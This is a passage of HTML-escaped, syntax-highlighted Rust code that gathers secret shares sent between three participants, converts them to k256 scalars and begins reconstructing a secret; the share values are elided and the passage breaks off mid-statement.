&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;        &lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;...&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;        &lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;2&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;...&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;        &lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;...&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;        &lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;2&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;...&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;        &lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;2&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;...&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;        &lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;2&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;...&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;    &lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;map&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-rust&quot;&gt;|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-rust&quot;&gt;from&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-parameter z-rust&quot;&gt;to&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-parameter z-rust&quot;&gt;share&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-rust&quot;&gt;|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;from&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; to&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-support z-function z-rust&quot;&gt;str_to_scalar&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;share&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; &lt;span class=&quot;z-storage z-modifier z-rust&quot;&gt;mut&lt;&#x2F;span&gt; secret &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;k256&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;Scalar&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-other z-rust&quot;&gt;ZERO&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-keyword z-control z-rust&quot;&gt;for&lt;&#x2F;span&gt; participant &lt;span class=&quot;z-keyword z-operator z-rust&quot;&gt;in&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-range z-rust&quot;&gt;..&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;3&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; sent for current participant
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; participant_shares&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-generic z-rust&quot;&gt;&lt;span class=&quot;z-support z-type z-rust&quot;&gt;Vec&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-generic z-begin z-rust&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-rust&quot;&gt;_&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-generic z-end z-rust&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; shares
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;            &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;iter&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;            &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;filter&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-rust&quot;&gt;|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-rust&quot;&gt;from&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; _&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; _&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-rust&quot;&gt;|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-rust&quot;&gt;*&lt;&#x2F;span&gt;from &lt;span class=&quot;z-keyword z-operator z-comparison z-rust&quot;&gt;==&lt;&#x2F;span&gt; participant&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;            &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;map&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-rust&quot;&gt;|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;_&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-parameter z-rust&quot;&gt;to&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-parameter z-rust&quot;&gt;share&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-rust&quot;&gt;|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;ids&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-rust&quot;&gt;*&lt;&#x2F;span&gt;to&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;clone&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-rust&quot;&gt;*&lt;&#x2F;span&gt;share&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;            &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;collect&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; points&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-generic z-rust&quot;&gt;BTreeSet&lt;span class=&quot;z-punctuation z-definition z-generic z-begin z-rust&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-rust&quot;&gt;_&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-generic z-end z-rust&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; participant_shares
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;            &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;iter&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
